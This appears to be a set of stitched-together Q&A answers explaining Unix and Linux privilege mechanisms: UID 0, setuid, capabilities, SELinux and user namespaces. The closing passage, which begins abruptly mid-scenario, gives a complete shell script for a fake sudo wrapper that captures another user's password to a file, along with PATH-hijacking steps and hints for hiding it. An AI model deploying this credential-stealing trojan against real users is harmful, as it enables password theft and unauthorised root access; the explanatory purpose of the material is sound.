What mechanism prevents any user from accessing any other user’s files via root

Root is user 0

The key thing is the user ID 0. There are many places in the kernel that check the user ID of the calling process and grant permission to do something only if the user ID is 0.

The user name is irrelevant; the kernel doesn't even know about user names.

Android's permission mechanism is identical at the kernel level but completely different at the application level. Android has a root user (UID 0), just like any other system based on a Linux kernel. Android doesn't have user accounts though, and on most setups doesn't allow the user (as in the human operating and owning the device) to perform actions as the root user. A “rooted” Android is a setup that does allow the device owner/user to perform actions as root.

How setuid works

A setuid executable runs as the user who owns the executable. For example, su is setuid and owned by root, so when any user runs it, the process running su runs as the root user. The job of su is to verify that the user that calls it is allowed to use the root account, to run the specified command (or a shell if no command is specified) if this verification succeeds, and to exit if this verification fails. For example, su might ask the user to prove that they know the root password.

In more detail, a process has three user IDs: the effective UID, which is used for security checks; the real UID, which is used in a few privilege checks but is mainly useful as a backup of the original user ID, and the saved user ID which allows a process to temporarily switch its effective UID to the real user ID and then go back to the former effective UID (this is useful e.g. when a setuid program needs to access a file as the original user). Running a setuid executable sets the effective UID to the owner of executable and retains the real UID.

Running a setuid executable (and similar mechanisms, e.g. setgid) is the only way to elevate the privileges of a process. Pretty much everything else can only decrease the privileges of a process.

Beyond traditional Unix

Until now I described traditional Unix systems. All of this is true on a modern Linux system, but Linux brings several additional complications.

Linux has a capability system. Remember how I said that the kernel has many checks where only processes running as user ID 0 are allowed? In fact, each check gets its own capability (well, not quite, some checks use the same capability). For example, there's a capability for accessing raw network sockets, and another capability for rebooting the system. Each process has a set of capabilities along side its users and groups. The process passes the check if it is running as user 0 or if it has the capability that corresponds to the check. A process that requires a specific privilege can run as a non-root user but with the requisite capability; this limits the impact if the process has a security hole. An executable can be setcap to one or more capabilities: this is similar to setuid, but works on the process's capability set instead of the process's user ID. For example, ping only needs raw network sockets, so it can be setcap CAP_NET_RAW instead of setuid root.

Linux has several security modules, the best known being SELinux. Security modules introduce additional security checks, which can apply even to processes running as root. For example, it's possible (not easy!) to set up SELinux so as to run a process as user ID 0 but with so many restrictions that it can't actually do anything.

Linux has user namespaces. Inside the kernel, a user is in fact not just a user ID, but a pair consisting of a user ID and a namespace. Namespaces form a hierarchy: a child namespace refines permissions within its parent. The all-powerful user is user 0 in the root namespace. User 0 in a namespace has powers only inside that namespace. For example, user 0 in a user namespace can impersonate any user of that namespace; but from the outside all the processes in that namespace run as the same user.

In the past this would have been doable without Alice’s help, since sudo’s tokens were valid across terminal sessions: Bob could just wait for Alice to authenticate with sudo, then use sudo himself without having to enter a password.

Even with per-terminal tokens, obtaining Alice’s password is relatively easy in the scenario described here, as long as Alice doesn’t check her environment thoroughly all the time:

• using Alice’s account, create ~/.bin/sudo with something like

  #!/bin/sh
  if [ $# = 0 ]; then exec /usr/bin/sudo; fi
  if [ ! -f ~/.bin/alices-password ]; then
    echo -n "[sudo] password for $USER: "
    read -s password
    echo
    echo ${password} > ~/.bin/alices-password
    sleep 2
    echo "Sorry, try again."
    /usr/bin/sudo -k
  fi
  exec /usr/bin/sudo "$@"
  

• add ~/.bin to the path, in the appropriate rc-file depending on which shell Alice uses;

• wait for Alice to use sudo in a shell which has noticed the presence of ~/.bin/sudo...

Bob can wait for a password to appear in ~/.bin/alices-password and try it himself before disabling the special variant (doing that in an unobtrusive way is left as an exercise for the reader — remember that the shell caches paths...).

There are a few subtleties in the script above, in particular sudo -k which ensures that “Sorry, try again.” will actually be followed by sudo asking for a password. The script could be improved further, that’s another exercise for the reader!

As you might imagine, this isn’t the only approach...